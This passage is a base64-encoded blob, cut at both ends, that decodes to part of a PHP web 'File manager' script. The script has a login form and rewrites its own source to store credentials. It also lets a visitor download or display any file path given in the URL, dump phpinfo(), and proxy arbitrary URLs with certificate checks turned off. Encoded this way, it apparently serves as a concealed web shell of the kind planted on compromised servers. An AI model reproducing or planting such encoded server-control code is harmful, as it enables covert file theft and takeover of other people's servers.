5Pg0KPGZvcm0gYWN0aW9uPSIiIG1ldGhvZD0icG9zdCI+DQonLl9fKCdMb2dpbicpLicgPGlucHV0IG5hbWU9ImxvZ2luIiB0eXBlPSJ0ZXh0Ij4mbmJzcDsmbmJzcDsmbmJzcDsNCicuX18oJ1Bhc3N3b3JkJykuJyA8aW5wdXQgbmFtZT0icGFzc3dvcmQiIHR5cGU9InBhc3N3b3JkIj4mbmJzcDsmbmJzcDsmbmJzcDsNCjxpbnB1dCB0eXBlPSJzdWJtaXQiIHZhbHVlPSInLl9fKCdFbnRlcicpLiciIGNsYXNzPSJmbV9pbnB1dCI+DQo8L2Zvcm0+DQonLmZtX2xhbmdfZm9ybSgkbGFuZ3VhZ2UpLicNCjwvYm9keT4NCjwvaHRtbD4NCic7ICANCmRpZSgpOw0KCX0NCglpZiAoaXNzZXQoJF9QT1NUWydxdWl0J10pKSB7DQoJCXVuc2V0KCRfQ09PS0lFWyRhdXRoWydjb29raWVfbmFtZSddXSk7DQoJCXNldGNvb2tpZSgkYXV0aFsnY29va2llX25hbWUnXSwgJycsIHRpbWUoKSAtICg4NjQwMCAqICRhdXRoWydkYXlzX2F1dGhvcml6YXRpb24nXSkpOw0KCQloZWFkZXIoJ0xvY2F0aW9uOiAnLmZtX3NpdGVfdXJsKCkuJF9TRVJWRVJbJ1JFUVVFU1RfVVJJJ10pOw0KCX0NCn0NCg0KLy8gQ2hhbmdlIGNvbmZpZw0KaWYgKGlzc2V0KCRfR0VUWydmbV9zZXR0aW5ncyddKSkgew0KCWlmIChpc3NldCgkX0dFVFsnZm1fY29uZmlnX2RlbGV0ZSddKSkgeyANCgkJdW5zZXQoJF9DT09LSUVbJ2ZtX2NvbmZpZyddKTsNCgkJc2V0Y29va2llKCdmbV9jb25maWcnLCAnJywgdGltZSgpIC0gKDg2NDAwICogJGF1dGhbJ2RheXNfYXV0aG9yaXphdGlvbiddKSk7DQoJCWhlYWRlcignTG9jYXRpb246ICcuZm1fdXJsKCkuJz9mbV9zZXR0aW5ncz10cnVlJyk7DQoJCWV4aXQoMCk7DQoJfQllbHNlaWYgKGlzc2V0KCRfUE9TVFsnZm1fY29uZmlnJ10pKSB7IA0KCQkkZm1fY29uZmlnID0gJF9QT1NUWydmbV9jb25maWcnXTsNCgkJc2V0Y29va2llKCdmbV9jb25maWcnLCBzZXJpYWxpemUoJGZtX2NvbmZpZyksIHRpbWUoKSArICg4NjQwMCAqICRhdXRoWydkYXlzX2F1dGhvcml6YXRpb24nXSkpOw0KCQkkX0NPT0tJRVsnZm1fY29uZmlnJ10gPSBzZXJpYWxpemUoJGZtX2NvbmZpZyk7DQoJCSRtc2cgPSBfXygnU2V0dGluZ3MnKS4nICcuX18oJ2RvbmUnKTsNCgl9CWVsc2VpZiAoaXNzZXQoJF9QT1NUWydmbV9sb2dpbiddKSkgeyANCgkJaWYgKGVtcHR5KCRfUE9TVFsnZm1fbG9naW4nXVsnYXV0aG9yaXplJ10pKSAkX1BPU1RbJ2ZtX2xvZ2luJ10gPSBhcnJheSgnYXV0aG9yaXplJyA9PiAnMCcpICsgJF9QT1NUWydmbV9sb2dpbiddOw0KCQkkZm1fbG9naW4gPSBqc29uX2VuY29kZSgkX1BPU1RbJ2ZtX2xvZ2luJ10pOw0KCQkkZmdjID0gZmlsZV9nZXRfY29udGVudHMoX19GSUxFX18pOw0KCQkkc2VhcmNoID0gcHJlZ19tYXRjaCgnI2F1dGhvcml6YXRpb25bXHNdP1w9W1xzXT9cJ1x7XCIoLio/KVwiXH1cJzsjJywgJGZnYywgJG1hdGNoZXMpOw0KCQlpZiAoIWVtcHR5KCRtYXRjaGVzWzFdKSkgew0KCQkJJGZpbGVtdGltZSA9IGZpbGVtdGltZShfX0ZJTEVfXyk7DQoJCQkkcmVwbGFjZSA9IHN0cl9yZXBsYWNlKCd7IicuJG1hdGNoZXNbMV0uJyJ9JywkZm1fbG9naW4sJGZnYyk7DQoJCQlpZiAoZmlsZV9wdXRfY29udGVudHMoX19GSUxFX18sICRyZXBsYWNlKSkgew0KCQkJCSRtc2cgLj0gX18oJ0ZpbGUgdXBkYXRlZCcpOw0KCQkJCWlmICgkX1BPU1RbJ2ZtX2xvZ2luJ11bJ2xvZ2luJ10gIT0gJGF1dGhbJ2xvZ2luJ10pICRtc2cgLj0gJyAnLl9fKCdMb2dpbicpLic6ICcuJF9QT1NUWydmbV9sb2dpbiddWydsb2dpbiddOw0KCQkJCWlmICgkX1BPU1RbJ2ZtX2xvZ2luJ11bJ3Bhc3N3b3JkJ10gIT0gJGF1dGhbJ3Bhc3N3b3JkJ10pICRtc2cgLj0gJyAnLl9fKCdQYXNzd29yZCcpLic6ICcuJF9QT1NUWydmbV9sb2dpbiddWydwYXNzd29yZCddOw0KCQkJCSRhdXRoID0gJF9QT1NUWydmbV9sb2dpbiddOw0KCQkJfQ0KCQkJZWxzZSAkbXNnIC49IF9fKCdFcnJvciBvY2N1cnJlZCcpOw0KCQkJaWYgKCFlbXB0eSgkZm1fY29uZmlnWydmbV9yZXN0b3JlX3RpbWUnXSkpIHRvdWNoKF9fRklMRV9fLCRmaWxlbXRpbWUpOw0KCQl9DQoJfSBlbHNlaWYgKGlzc2V0KCRfUE9TVFsndHBsX2VkaXRlZCddKSkgeyANCgkJJGxuZ190cGwgPSAkX1BPU1RbJ3RwbF9lZGl0ZWQnXTsNCgkJaWYgKCFlbXB0eSgkX1BPU1RbJGxuZ190cGwuJ19uYW1lJ10pKSB7DQoJCQkkZm1fcGhwID0ganNvbl9lbmNvZGUoYXJyYXlfY29tYmluZSgkX1BPU1RbJGxuZ190cGwuJ19uYW1lJ10sJF9QT1NUWyRsbmdfdHBsLidfdmFsdWUnXSksSlNPTl9IRVhfQVBPUyk7DQoJCX0gZWxzZWlmICghZW1wdHkoJF9QT1NUWyRsbmdfdHBsLidfbmV3X25hbWUnXSkpIHsNCgkJCSRmbV9waHAgPSBqc29uX2VuY29kZShqc29uX2RlY29kZSgkeyRsbmdfdHBsLidfdGVtcGxhdGVzJ30sdHJ1ZSkrYXJyYXkoJF9QT1NUWyRsbmdfdHBsLidfbmV3X25hbWUnXT0+JF9QT1NUWyRsbmdfdHBsLidfbmV3X3ZhbHVlJ10pLEpTT05fSEVYX0FQT1MpOw0KCQl9DQoJCWlmICghZW1wdHkoJGZtX3BocCkpIHsNCgkJCSRmZ2MgPSBmaWxlX2dldF9jb250ZW50cyhfX0ZJTEVfXyk7DQoJCQkkc2VhcmNoID0gcHJlZ19tYXRjaCgnIycuJGxuZ190cGwuJ190ZW1wbGF0ZXNbXHNdP1w9W1xzXT9cJ1x7XCIoLio/KVwiXH1cJzsjJywgJGZnYywgJG1hdGNoZXMpOw0KCQkJaWYgKCFlbXB0eSgkbWF0Y2hlc1sxXSkpIHsNCgkJCQkkZmlsZW10aW1lID0gZmlsZW10aW1lKF9fRklMRV9fKTsNCgkJCQkkcmVwbGFjZSA9IHN0cl9yZXBsYWNlKCd7IicuJG1hdGNoZXNbMV0uJyJ9JywkZm1fcGhwLCRmZ2MpOw0KCQkJCWlmIChmaWxlX3B1dF9jb250ZW50cyhfX0ZJTEVfXywgJHJlcGxhY2UpKSB7DQoJCQkJCSR7JGxuZ190cGwuJ190ZW1wbGF0ZXMnfSA9ICRmbV9waHA7DQoJCQkJCSRtc2cgLj0gX18oJ0ZpbGUgdXBkYXRlZCcpOw0KCQkJCX0gZWxzZSAkbXNnIC49IF9fKCdFcnJvciBvY2N1cnJlZCcpOw0KCQkJCWlmICghZW1wdHkoJGZtX2NvbmZpZ1snZm1fcmVzdG9yZV90aW1lJ10pKSB0b3VjaChfX0ZJTEVfXywkZmlsZW10aW1lKTsNCgkJCX0JDQoJCX0gZWxzZSAkbXNnIC49IF9fKCdFcnJvciBvY2N1cnJlZCcpOw0KCX0NCn0NCg0KLy8gSnVzdCBzaG93IGltYWdlDQppZiAoaXNzZXQoJF9HRVRbJ2ltZyddKSkgew0KCSRmaWxlPWJhc2U2NF9kZWNvZGUoJF9HRVRbJ2ltZyddKTsNCglpZiAoJGluZm89Z2V0aW1hZ2VzaXplKCRmaWxlKSl7DQoJCXN3aXRjaCAgKCRpbmZvWzJdKXsJLy8xPUdJRiwgMj1KUEcsIDM9UE5HLCA0PVNXRiwgNT1QU0QsIDY9Qk1QDQoJCQljYXNlIDE6ICRleHQ9J2dpZic7IGJyZWFrOw0KCQkJY2FzZSAyOiAkZXh0PSdqcGVnJzsgYnJlYWs7DQoJCQljYXNlIDM6ICRleHQ9J3BuZyc7IGJyZWFrOw0KCQkJY2FzZSA2OiAkZXh0PSdibXAnOyBicmVhazsNCgkJCWRlZmF1bHQ6IGRpZSgpOw0KCQl9DQoJCWhlYWRlcigiQ29udGVudC10eXBlOiBpbWFnZS8kZXh0Iik7DQoJCWVjaG8gZmlsZV9nZXRfY29udGVudHMoJGZpbGUpOw0KCQlkaWUoKTsNCgl9DQp9DQoNCi8vIEp1c3QgZG93bmxvYWQgZmlsZQ0KaWYgKGlzc2V0KCRfR0VUWydkb3dubG9hZCddKSkgew0KCSRmaWxlPWJhc2U2NF9kZWNvZGUoJF9HRVRbJ2Rvd25sb2FkJ10pOw0KCWZtX2Rvd25sb2FkKCRmaWxlKTsJDQp9DQoNCi8vIEp1c3Qgc2hvdyBpbmZvDQppZiAoaXNzZXQoJF9HRVRbJ3BocGluZm8nXSkpIHsNCglwaHBpbmZvKCk7IA0KCWRpZSgpOw0KfQ0KDQovLyBNaW5pIHByb3h5LCBtYW55IGJ1Z3MhDQppZiAoaXNzZXQoJF9HRVRbJ3Byb3h5J10pICYmICghZW1wdHkoJGZtX2NvbmZpZ1snZW5hYmxlX3Byb3h5J10pKSkgew0KCSR1cmwgPSBpc3NldCgkX0dFVFsndXJsJ10pP3VybGRlY29kZSgkX0dFVFsndXJsJ10pOicnOw0KCSRwcm94eV9mb3JtID0gJw0KPGRpdiBzdHlsZT0icG9zaXRpb246cmVsYXRpdmU7ei1pbmRleDoxMDA1MDA7YmFja2dyb3VuZDogbGluZWFyLWdyYWRpZW50KHRvIGJvdHRvbSwgI2U0ZjVmYyAwJSwjYmZlOGY5IDUwJSwjOWZkOGVmIDUxJSwjMmFiMGVkIDEwMCUpOyI+DQoJPGZvcm0gYWN0aW9uPSIiIG1ldGhvZD0iR0VUIj4NCgk8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJwcm94eSIgdmFsdWU9InRydWUiPg0KCScuZm1faG9tZSgpLicgPGEgaHJlZj0iJy4kdXJsLiciIHRhcmdldD0iX2JsYW5rIj5Vcmw8L2E+OiA8aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0idXJsIiB2YWx1ZT0iJy4kdXJsLiciIHNpemU9IjU1Ij4NCgk8aW5wdXQgdHlwZT0ic3VibWl0IiB2YWx1ZT0iJy5fXygnU2hvdycpLiciIGNsYXNzPSJmbV9pbnB1dCI+DQoJPC9mb3JtPg0KPC9kaXY+DQonOw0KCWlmICgkdXJsKSB7DQoJCSRjaCA9IGN1cmxfaW5pdCgkdXJsKTsNCgkJY3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX1VTRVJBR0VOVCwgJ0RlbjF4eHggdGVzdCBwcm94eScpOw0KCQljdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfRk9MTE9XTE9DQVRJT04sIDEpOw0KCQljdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfU1NMX1ZFUklGWUhPU1QsMCk7DQoJCWN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9TU0xfVkVSSUZZUEVFUiwwKTsNCgkJY3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX0hFQURFUiwgMCk7DQoJCWN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9SRUZFUkVSLCAkdXJsKTsNCgkJY3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX1JFVFVSTlRSQU5TRkVSLHRydWUpOw0KCQkkcmVzdWx0ID0gY3VybF9leGVjKCRjaCk7DQoJCWN1cmxfY2xvc2UoJGNoKTsNCgkJLy8kcmVzdWx0ID0gcHJlZ19yZXBsYWNlKCcjKHNyYyk9WyJcJ11baHR0cDovL10/KFteOl0qKVsiXCddI1VpJywgJ1xcMT0iJy4kdXJsLicvXFwyIicsICRyZXN1bHQpOw0KCQkkcmVzdWx0ID0gcHJlZ19yZXBsYWNlX2NhbGxiYWNrKCcjKGhyZWZ8c3JjKT1bIlwnXVtodHRwOi8vXT8oW146XSopWyJcJ10jVWknLCAnZm1fdXJsX3Byb3h5JywgJHJlc3VsdCk7DQoJCSRyZXN1bHQgPSBwcmVnX3JlcGxhY2UoJyUoPGJvZHkuKj8+KSVpJywgJyQxJy4nPHN0eWxlPicuZm1faG9tZV9zdHlsZSgpLic8L3N0eWxlPicuJHByb3h5X2Zvcm0sICRyZXN1bHQpOw0KCQllY2hvICRyZXN1bHQ7DQoJCWRpZSgpOw0KCX0gDQp9DQo/Pg0KPCFkb2N0eXBlIGh0bWw+DQo8aHRtbD4NCjxoZWFkPiAgICAgDQoJPG1ldGEgY2hhcnNldD0idXRmLTgiIC8+DQoJPG1ldGEgbmFtZT0idmlld3BvcnQiIGNvbnRlbnQ9IndpZHRoPWRldmljZS13aWR0aCwgaW5pdGlhbC1zY2FsZT0xIiAvPg0KICAgIDx0aXRsZT48Pz1fXygnRmlsZSBtYW5hZ2VyJyk/PjwvdGl0bGU+DQo8c3R5bGU+DQpib2R5IHsNCgliYWNrZ3JvdW5kLWNvbG9yOgl3aGl0ZTsNCglmb250LWZhbWlseToJCVZlcmRhbmEsIEFyaWFsLCBIZWx2ZXRpY2EsIHNhbnMtc2VyaWY7DQoJZm9udC1zaXplOgkJCThwdDsNCgltYXJnaW46CQkJCTBweDsNCn0NCg0KYTpsaW5rLCBhOmFjdGl2ZSwgYTp2aXNpdGVkIHsgY29sb3I6ICMwMDY2OTk7IHRleHQtZGVjb3JhdGlvbjogbm9uZTsgfQ0KYTpob3ZlciB7IGNvbG9yOiAjREQ2OTAwOyB0ZXh0LWRlY29yYXRpb246IHVuZGVybGluZTsgfQ0KYS50aDpsaW5rIHsgY29sb3I6ICNGRkEzNEY7IHRleHQtZGVjb3JhdGlvbjogbm9uZTsgfQ0KYS50aDphY3RpdmUgeyBjb2xvcjogI0ZGQTM0RjsgdGV4dC1kZWNvcmF0aW9uOiBub25lOyB9DQphLnRoOnZpc2l0ZWQgeyBjb2xvcjogI0ZGQTM0RjsgdGV4dC1kZWNvcmF0aW9uOiBub25lOyB9DQphLnRoOmhvdmVyIHsgIGNvbG9yOiAjRkZBMzRGOyB0ZXh0LWRlY29yYXRpb246IHVuZGVybGluZTsgfQ0KDQp0YWJsZS5iZyB7DQoJYmFja2dyb3VuZC1jb2xvcjogI0FDQkJDNg0KfQ0KDQp0aCwgdGQgeyANCglmb250Oglub3JtYWwgOHB0IFZlcmRhbmEsIEFyaWFsLCBIZWx2ZXRpY2EsIHNhbnMtc2VyaWY7DQoJcGFkZGluZzogM3B4Ow0KfQ0KDQp0aAl7DQoJaGVpZ2h0OgkJCQkyNXB4Ow0KCWJhY2tncm91bmQtY29sb3I6CSMwMDY2OTk7DQoJY29sb3I6CQkJCSNGRkEzNEY7DQoJZm9udC13ZWlnaHQ6CQlib2xkOw0KCWZvbnQtc2l6ZToJCQkxMXB4Ow0KfQ0KDQoucm93MSB7DQoJYmFja2dyb3VuZC1jb2xvcjoJI0VGRUZFRjsNCn0NCg0KLnJvdzIgew0KCWJhY2tncm91bmQtY29sb3I6CSNERUUzRTc7DQp9DQoNCi5yb3czIHsNCgliYWNrZ3JvdW5kLWNvbG9yOgkjRDFEN0RDOw0KCXBhZGRpbmc6IDVweDsNCn0NCg0KdHIucm93MTpob3ZlciB7DQoJYmFja2dyb3VuZC1jb2xvcjoJI0YzRkNGQzsNCn0NCg0KdHIucm93Mjpob3ZlciB7DQoJYmFja2dyb3VuZC1jb2xvcjoJI0YwRjZGNjsNCn0NCg0KLndob2xlIHsNCgl3aWR0aDogMTAwJTsNCn0NCg0KLmFsbCB0Ym9keSB0ZDpmaXJzdC1jaGlsZHt3aWR0aDoxMDAlO30NCg0KdGV4dGFyZWEgew0KCWZvbnQ6IDlwdCAnQ291cmllciBOZXcnLCBjb3VyaWVyOw0KCWxpbmUtaGVpZ2h0OiAxMjUlOw0KCXBhZGRpbmc6IDVweDsNCn0NCg0KLnRleHRhcmVhX2lucHV0IHsNCgloZWlnaHQ6IDFlbTsNCn0NCg0KLnRleHRhcmVhX2lucHV0OmZvY3VzIHsNCgloZWlnaHQ6IGF1dG87DQp9DQoNCmlucHV0W3R5cGU9c3VibWl0XXsNCgliYWNrZ3JvdW5kOiAjRkNGQ0ZDIG5vbmUgIWltcG9ydGFudDsNCgljdXJzb3I6IHBvaW50ZXI7DQp9DQoNCi5mb2xkZXIgew0KICAgIGJhY2tncm91bmQtaW1hZ2U6IHVybCgiZGF0YTppbWFnZS9wbmc7YmFzZTY0LGlWQk9SdzBLR2dvQUFBQU5TVWhFVWdBQUFCQUFBQUFRQ0FZQUFBQWY4LzloQUFBS1QybERRMUJRYUc5MGIzTm9iM0FnU1VORElIQnliMlpwYkdVQUFIamFuVk5uVkZQcEZqMzMzdlJDUzRpQWxFdHZVaFVJSUZKQ2k0QVVrU1lxSVFrUVNvZ2hvZGtWVWNFUlJVVUVHOGlnaUFPT2pvQ01GVkVzRElvSzJBZmtJYUtPZzZPSWlzcjc0WHVqYTlhODkrYk4vclhYUHVlczg1Mnp6d2ZBQ0F5V1NETlJOWUFNcVVJZUVlQ0R4OFRHNGVRdVFJRUtKSEFBRUFpelpDRnovU01CQVBoK1BEd3JJc0FIdmdBQmVOTUxDQURBVFp2QU1CeUgvdy9xUXBsY0FZQ0VBY0Iwa1RoTENJQVVBRUI2amtLbUFFQkdBWUNkbUNaVEFLQUVBR0RMWTJMakFGQXRBR0FuZitiVEFJQ2QrSmw3QVFCYmxDRVZBYUNSQUNBVFpZaEVBR2c3QUt6UFZvcEZBRmd3QUJSbVM4UTVBTmd0QURCSlYyWklBTEMzQU1ET0VBdXlBQWdNQURCUmlJVXBBQVI3QUdESUl5TjRBSVNaQUJSRzhsYzg4U3V1RU9jcUFBQjRtYkk4dVNRNVJZRmJDQzF4QjFkWExoNG96a2tYS3hRMllRSmhta0F1d25tWkdUS0JOQS9nODh3QUFLQ1JGUkhnZy9QOWVNNE9yczdPTm82MkRsOHQ2cjhHL3lKaVl1UCs1YytyY0VBQUFPRjBmdEgrTEMrekdvQTdCb0J0L3FJbDdnUm9YZ3VnZGZlTFpySVBRTFVBb09uYVYvTncrSDQ4UEVXaGtMbloyZVhrNU5oS3hFSmJZY3BYZmY1bndsL0FWLzFzK1g0OC9QZjE0TDdpSklFeVhZRkhCUGpnd3N6MFRLVWN6NUlKaEdMYzVvOUgvTGNMLy93ZDB5TEVTV0s1V0NvVTQxRVNjWTVFbW96ek1xVWlpVUtTS2NVbDB2OWs0dDhzK3dNKzN6VUFzR28rQVh1UkxhaGRZd1AyU3ljUVdIVEE0dmNBQVBLN2I4SFVLQWdEZ0dpRDRjOTMvKzgvL1VlZ0pRQ0Faa21TY1FBQVhrUWtMbFRLc3ovSENBQUFSS0NCS3JCQkcvVEJHQ3pBQmh6QkJkekJDL3hnTm9SQ0pNVENRaEJDQ21TQUhISmdLYXlDUWlpR3piQWRLbUF2MUVBZE5NQlJhSWFUY0E0dXdsVzREajF3RC9waENKN0JLTHlCQ1FSQnlBZ1RZU0hhaUFGaWlsZ2pqZ2dYbVlYNEljRklCQktMSkNESmlCUlJJa3VSTlVneFVvcFVJRlZJSGZJOWNnSTVoMXhHdXBFN3lBQXlndnlHdkVjeGxJR3lVVDNVRExWRHVhZzNHb1JHb2d2UVpIUXhtbzhXb0p2UWNyUWFQWXcyb2VmUXEyZ1AybzgrUThjd3dPZ1lCelBFYkRBdXhzTkNzVGdzQ1pOank3RWlyQXlyeGhxd1Zxd0R1NG4xWTgreGR3UVNnVVhBQ1RZRWQwSWdZUjVCU0ZoTVdFN1lTS2dnSENRMEVkb0pOd2tEaEZIQ0p5S1RxRXUwSnJvUitjUVlZakl4aDFoSUxDUFdFbzhUTHhCN2lFUEVOeVFTaVVNeUo3bVFBa214cEZUU0V0SkcwbTVTSStrc3FaczBTQm9qazhuYVpHdXlCem1VTENBcnlJWGtuZVRENURQa0crUWg4bHNLbldKQWNhVDRVK0lvVXNwcVNobmxFT1UwNVFabG1ESkJWYU9hVXQyb29WUVJOWTlhUXEyaHRsS3ZVWWVvRXpSMW1qbk5neFpKUzZXdG9wWFRHbWdYYVBkcHIraDB1aEhkbFI1T2w5Qlgwc3ZwUitpWDZBUDBkd3dOaGhXRHg0aG5LQm1iR0FjWVp4bDNHSytZVEtZWjA0c1p4MVF3TnpIcm1PZVpENWx2VlZncXRpcDhGWkhLQ3BWS2xTYVZHeW92VkttcXBxcmVxZ3RWODFYTFZJK3BYbE45cmtaVk0xUGpxUW5VbHF0VnFwMVE2MU1iVTJlcE82aUhxbWVvYjFRL3BINVovWWtHV2NOTXcwOURwRkdnc1YvanZNWWdDMk1aczNnc0lXc05xNFoxZ1RYRUpySE4yWHgyS3J1WS9SMjdpejJxcWFFNVF6TktNMWV6VXZPVVpqOEg0NWh4K0p4MFRnbm5LS2VYODM2SzNoVHZLZUlwRzZZMFRMa3haVnhycXBhWGxsaXJTS3RScTBmcnZUYXU3YWVkcHIxRnUxbjdnUTVCeDBvblhDZEhaNC9PQlozblU5bFQzYWNLcHhaTlBUcjFyaTZxYTZVYm9idEVkNzl1cCs2WW5yNWVnSjVNYjZmZWViM24raHg5TC8xVS9XMzZwL1ZIREZnR3N3d2tCdHNNemhnOHhUVnhiendkTDhmYjhWRkRYY05BUTZWaGxXR1g0WVNSdWRFOG85VkdqVVlQakduR1hPTWs0MjNHYmNhakpnWW1JU1pMVGVwTjdwcFNUYm1tS2FZN1REdE14ODNNemFMTjFwazFtejB4MXpMbm0rZWIxNXZmdDJCYWVGb3N0cWkydUdWSnN1UmFwbG51dHJ4dWhWbzVXYVZZVlZwZHMwYXRuYTBsMXJ1dHU2Y1JwN2xPazA2cm50Wm53N0R4dHNtMnFiY1pzT1hZQnR1dXRtMjJmV0ZuWWhkbnQ4V3V3KzZUdlpOOXVuMk4vVDBIRFlmWkRxc2RXaDErYzdSeUZEcFdPdDZhenB6dVAzM0Y5SmJwTDJkWXp4RFAyRFBqdGhQTEtjUnBuVk9iMDBkbkYyZTVjNFB6aUl1SlM0TExMcGMrTHBzYnh0M0l2ZVJLZFBWeFhlRjYwdldkbTdPYnd1Mm8yNi91TnU1cDdvZmNuOHcwbnltZVdUTnowTVBJUStCUjVkRS9DNStWTUd2ZnJINVBRMCtCWjdYbkl5OWpMNUZYcmRld3Q2VjNxdmRoN3hjKzlqNXluK00rNHp3MzNqTGVXVi9NTjhDM3lMZkxUOE52bmwrRjMwTi9JLzlrLzNyLzBRQ25nQ1VCWndPSmdVR0JXd0w3K0hwOEliK09QenJiWmZheTJlMUJqS0M1UVJWQmo0S3RndVhCclNGb3lPeVFyU0gzNTVqT2tjNXBEb1ZRZnVqVzBBZGg1bUdMdzM0TUo0V0hoVmVHUDQ1d2lGZ2EwVEdYTlhmUjNFTnozMFQ2UkpaRTNwdG5NVTg1cnkxS05TbytxaTVxUE5vM3VqUzZQOFl1WmxuTTFWaWRXRWxzU3h3NUxpcXVObTVzdnQvODdmT0g0cDNpQytON0Y1Z3Z5RjF3ZWFIT3d2U0ZweGFwTGhJc09wWkFUSWhPT0pUd1FSQXFxQmFNSmZJVGR5V09Dbm5DSGNKbklpL1JOdEdJMkVOY0toNU84a2dxVFhxUzdKRzhOWGtreFRPbExPVzVoQ2Vwa0x4TURVemRtenFlRnBwMklHMHlQVHE5TVlPU2taQnhRcW9oVFpPMlorcG41bVoyeTZ4bGhiTCt4VzZMdHk4ZWxRZkphN09RckFWWkxRcTJRcWJvVkZvbzF5b0hzbWRsVjJhL3pZbktPWmFybml2TjdjeXp5dHVRTjV6dm4vL3RFc0lTNFpLMnBZWkxWeTBkV09hOXJHbzVzanh4ZWRzSzR4VUZLNFpXQnF3OHVJcTJLbTNWVDZ2dFY1ZXVmcjBtZWsxcmdWN0J5b0xCdFFGcjZ3dFZDdVdGZmV2YzErMWRUMWd2V2QrMVlmcUduUnMrRlltS3JoVGJGNWNWZjlnbzNIamxHNGR2eXIrWjNKUzBxYXZFdVdUUFp0Sm02ZWJlTFo1YkRwYXFsK2FYRG00TjJkcTBEZDlXdE8zMTlrWGJMNWZOS051N2c3WkR1YU8vUExpOFphZkp6czA3UDFTa1ZQUlUrbFEyN3RMZHRXSFgrRzdSN2h0N3ZQWTA3TlhiVzd6My9UN0p2dHRWQVZWTjFXYlZaZnRKKzdQM1A2NkpxdW40bHZ0dFhhMU9iWEh0eHdQU0EvMEhJdzYyMTduVTFSM1NQVlJTajlZcjYwY094eCsrL3AzdmR5ME5OZzFWalp6RzRpTndSSG5rNmZjSjMvY2VEVHJhZG94N3JPRUgweDkySFdjZEwycENtdkthUnB0VG12dGJZbHU2VDh3KzBkYnEzbnI4UjlzZkQ1dzBQRmw1U3ZOVXlXbmE2WUxUazJmeXo0eWRsWjE5Zmk3NTNHRGJvclo3NTJQTzMyb1BiKys2RUhUaDBrWC9pK2M3dkR2T1hQSzRkUEt5MitVVFY3aFhtcTg2WDIzcWRPbzgvcFBUVDhlN25MdWFycmxjYTdudWVyMjFlMmIzNlJ1ZU44N2Q5TDE1OFJiLzF0V2VPVDNkdmZONmIvZkY5L1hmRnQxK2NpZjl6c3U3MlhjbjdxMjhUN3hmOUVEdFFkbEQzWWZWUDF2KzNOanYzSDlxd0hlZzg5SGNSL2NHaFlQUC9wSDFqdzlEQlkrWmo4dUdEWWJybmpnK09UbmlQM0w5NmZ5blE4OWt6eWFlRi82aS9zdXVGeFl2ZnZqVjY5Zk8wWmpSb1pmeWw1Ty9iWHlsL2VyQTZ4bXYyOGJDeGg2K3lYZ3pNVjcwVnZ2dHdYZmNkeDN2bzk4UFQrUjhJSDhvLzJqNXNmVlQwS2Y3a3htVGsvOEVBNWp6L0dNekxkc0FBQUFHWWt0SFJBRC9BUDhBLzZDOXA1TUFBQUFKY0VoWmN3QUFDeE1BQUFzVEFRQ2FuQmdBQUFBSGRFbE5SUWZjQ0F3R01obGVHQUtPQUFBQnlFbEVRVlE0eThXVFQyc1VRUkRGZjlYVE0rUEdJQkhkRUVRUjhlQWZnZ2FQSHZUdXlVK2krQTM4QUY0OGVmSmJLQjV6RTBJTUFWY0NpUmhRRThnbW0xMTFzOW1aM1psK0htYXk1cUFZOEdCRGRUV1BlbzlIVlJmODcyTzl4VnYzL0puckN5Z0lVNDA2Sy9xYnJiUDNWeGIvcWpEOCtPU050QytWWDZSaVV5cldwWEpEMmFlbmZ5UjNYczlOM2g1ckZJdzZFQVlReHNBSUtNRngrY2ZTZzBkbUZrK3FKYVF5R3UwdHZ3VDJLd0VaaEFOUVdaR1ZnM0xTODNldXBNMkY1eWlEa0U5d0RQWjc2MnZRZlZVSmhJS1E3VERhVzhUaWFjQ08ybE5uZDZ4amxZdnBtNDlmNUZ1TlorWEJ4cG9uNUJUZldxU3pONEFFTEFGTHErd1NiSUxGZFhnZ3VvaWJVajcrdnUwUktHOWplWUhrNnVJRVhJb3NRWlppTldZdVFTUVFUV0Z1WUVWM2FjWFRmd2R4aXRLclFBd3VtWWlZTzNKekNrVlR5RFd3c2crRFZaUjlZTlRMM25xTkRuSHhOQnEyZjFtYzJJMUFnbkFJUlJmR2JWUU9hbWVueVE3YXk3NHNJM3orRldXSDlhaU9ybENGQk9hcXFMb0l5aWp3K1lXSFc5dStDS2JHc0ljMC9zMlgwYkZwSE1OVUV1S1pWUUMvMngwbU0wMFA4aWRmQUFldHoyRVR3RzVmYTg3UG5vc3VoWUJPeW84Y3R0TUpXKzgzZGx2L3RJbDNGK2I0Q1l5cDJUeHcyVlV3QUFBQUFFbEZUa1N1UW1DQyIpOw0KfQ0KDQouZmlsZSB7DQogICAgYmFja2dyb3VuZC1pbWFnZTogdXJsKCJkYXRhOmltYWdlL3BuZztiYXNlNjQsaVZCT1J3MEtHZ29BQUFBTlNVaEVVZ0FBQUJBQUFBQVFDQVlBQUFBZjgvOWhBQUFLVDJsRFExQlFhRzkwYjNOb2IzQWdTVU5ESUhCeWIyWnBiR1VBQUhqYW5WTm5WRlBwRmozMzN2UkNTNGlBbEV0dlVoVUlJRkpDaTRBVWtTWXFJUWtRU29naG9ka1ZVY0VSUlVVRUc4aWdpQU9Pam9DTUZWRXNESW9LMkFma0lhS09nNk9JaXNyNzRYdWphOWE4OStiTi9yWFhQdWVzODUyenp3ZkFDQXlXU0ROUk5ZQU1xVUllRWVDRHg4VEc0ZVF1UUlFS0pIQUFFQWl6WkNGei9TTUJBUGgrUER3cklzQUh2Z0FCZU5NTENBREFUWnZBTUJ5SC93L3FRcGxjQVlDRUFjQjBrVGhMQ0lBVUFFQjZqa0ttQUVCR0FZQ2RtQ1pUQUtBRUFHRExZMkxqQUZBdEFHQW5mK2JUQUlDZCtKbDdBUUJibENFVkFhQ1JBQ0FUWlloRUFHZzdBS3pQVm9wRkFGZ3dBQlJtUzhRNUFOZ3RBREJKVjJaSUFMQzNBTURPRUF1eUFBZ01BREJSaUlVcEFBUjdBR0RJSXlONEFJU1pBQlJHOGxjODhTdXVFT2NxQUFCNG1iSTh1U1E1UllGYkNDMXhCMWRYTGg0b3pra1hLeFEyWVFKaG1rQXV3bm1aR1RLQk5BL2c4OHdBQUtDUkZSSGdnL1A5ZU00T3JzN09ObzYyRGw4dDZyOEcveUppWXVQKzVjK3JjRUFBQU9GMGZ0SCtM